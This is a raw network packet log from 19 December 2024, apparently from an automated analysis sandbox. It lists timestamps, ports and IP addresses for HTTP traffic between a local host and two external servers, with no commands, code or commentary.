Dec 19, 2024 20:11:52.219676971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.220649004 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.220700026 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.287153959 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.287372112 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.335180044 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.367741108 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.367836952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.367845058 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.367906094 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.368031025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.368084908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.368122101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.368170977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.368829012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.368881941 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.368912935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.368959904 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.369745970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.369802952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.369857073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.369913101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.370600939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.370654106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.370706081 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.370754004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.371572971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.371623993 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.371901989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.371952057 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.372294903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.372342110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.372428894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.372474909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.373178959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.373230934 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.373290062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.373337984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.374089003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.374138117 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.374406099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.374454021 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.374912024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.375119925 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.375169992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.375787020 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.375884056 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.375936985 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.376717091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.376770020 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.376904011 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.376964092 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.377516985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.377571106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.377630949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.377676010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.378437996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.378489017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.378520966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.379230976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.379283905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.379434109 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.380117893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.380172968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.380211115 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.380255938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.381005049 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.381069899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.381129980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.381194115 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.381848097 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.381977081 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.382040024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.382720947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.383027077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.383078098 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.383583069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.383636951 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.383675098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.384001970 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.384506941 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.384567022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.384603977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.384651899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.385358095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.385407925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.385445118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.385493040 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.386200905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.386249065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.386363983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.386409998 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.387150049 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.387239933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.387289047 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.388026953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.388129950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.388179064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.388936996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.388997078 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.389029980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.389723063 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.389779091 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.389811993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.390517950 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.390692949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.391145945 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.391196012 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.391381025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.391591072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.391598940 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.391649961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.392292976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.392343044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.392433882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.392477036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.393172026 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.393229008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.393260956 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.393306971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.394002914 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.394052982 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.394202948 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.394248009 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.394891024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.394937038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.394998074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.395044088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.395765066 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.395812988 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.395845890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.395904064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.396635056 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.396686077 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.396723032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.396764994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.397488117 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.397533894 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.397594929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.397644043 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.398339987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.398389101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.398448944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.398494959 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.399238110 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.399281979 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.399389029 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.399439096 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.400104046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.400151968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.400196075 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.400240898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.400945902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.400995970 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.401074886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.401120901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.401808977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.401876926 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.401943922 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.401994944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.402683973 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.402733088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.402781010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.402831078 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.403584003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.403644085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.403681993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.403728962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.404427052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.404474020 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.404536009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.404582977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.405317068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.405365944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.405567884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.405613899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.406214952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.406264067 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.406332970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.406378984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.407064915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.407170057 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.407202959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.407252073 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.407923937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.407970905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.408051968 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.408093929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.408826113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.408874989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.408983946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.409029961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.409801960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.409849882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.409912109 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.409957886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.410561085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.410608053 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.410681963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.410727978 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.411441088 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.411488056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.411520004 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.411565065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.412233114 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.412281036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.412344933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.412410975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.413067102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.413114071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.455204010 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.455302954 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.559801102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.559900045 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.560089111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.560127974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.560188055 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.560256958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.560309887 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.561081886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.561292887 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.561353922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.561899900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.561964035 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.561994076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.562035084 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.562779903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.562854052 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.562891006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.563024998 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.563638926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.563740969 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.563760996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.563910007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.564480066 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.564548969 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.564578056 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.564619064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.565382004 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.565434933 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.565512896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.566296101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.566349030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.566497087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.567091942 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.567147017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.567296982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.567354918 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.567972898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.568108082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.568167925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.568974018 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.569103003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.569161892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.569792986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.569878101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.569936037 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.570641994 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.570699930 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.570779085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.571448088 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.571521997 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.571528912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.572329044 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.572395086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.572442055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.572490931 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.573194027 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.573327065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.573378086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.574024916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.574075937 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.574160099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.574208975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.574924946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.574971914 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.575050116 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.575120926 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.575823069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.575870991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.575925112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.575973034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.576653004 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.576700926 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.576925993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.576971054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.577542067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.577593088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.577631950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.577678919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.578416109 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.578464031 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.578506947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.578552008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.579269886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.579349995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.579385996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.579448938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.580244064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.580323935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.580440998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.580502033 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.581044912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.581201077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.581269026 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.581860065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.581934929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.581965923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.582031012 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.582873106 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.582946062 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.583002090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.583045006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.583640099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.583695889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.583756924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.583806992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.584477901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.584532022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.584577084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.584667921 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.585367918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.585541010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.585608959 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.586266041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.586503983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.586572886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.587076902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.587152958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.587213039 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.588020086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.588185072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.588249922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.588824034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.588931084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.588992119 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.589699030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.589764118 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.589874029 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.590585947 CET	80	49877	31.41.244.11	192.168.2.4
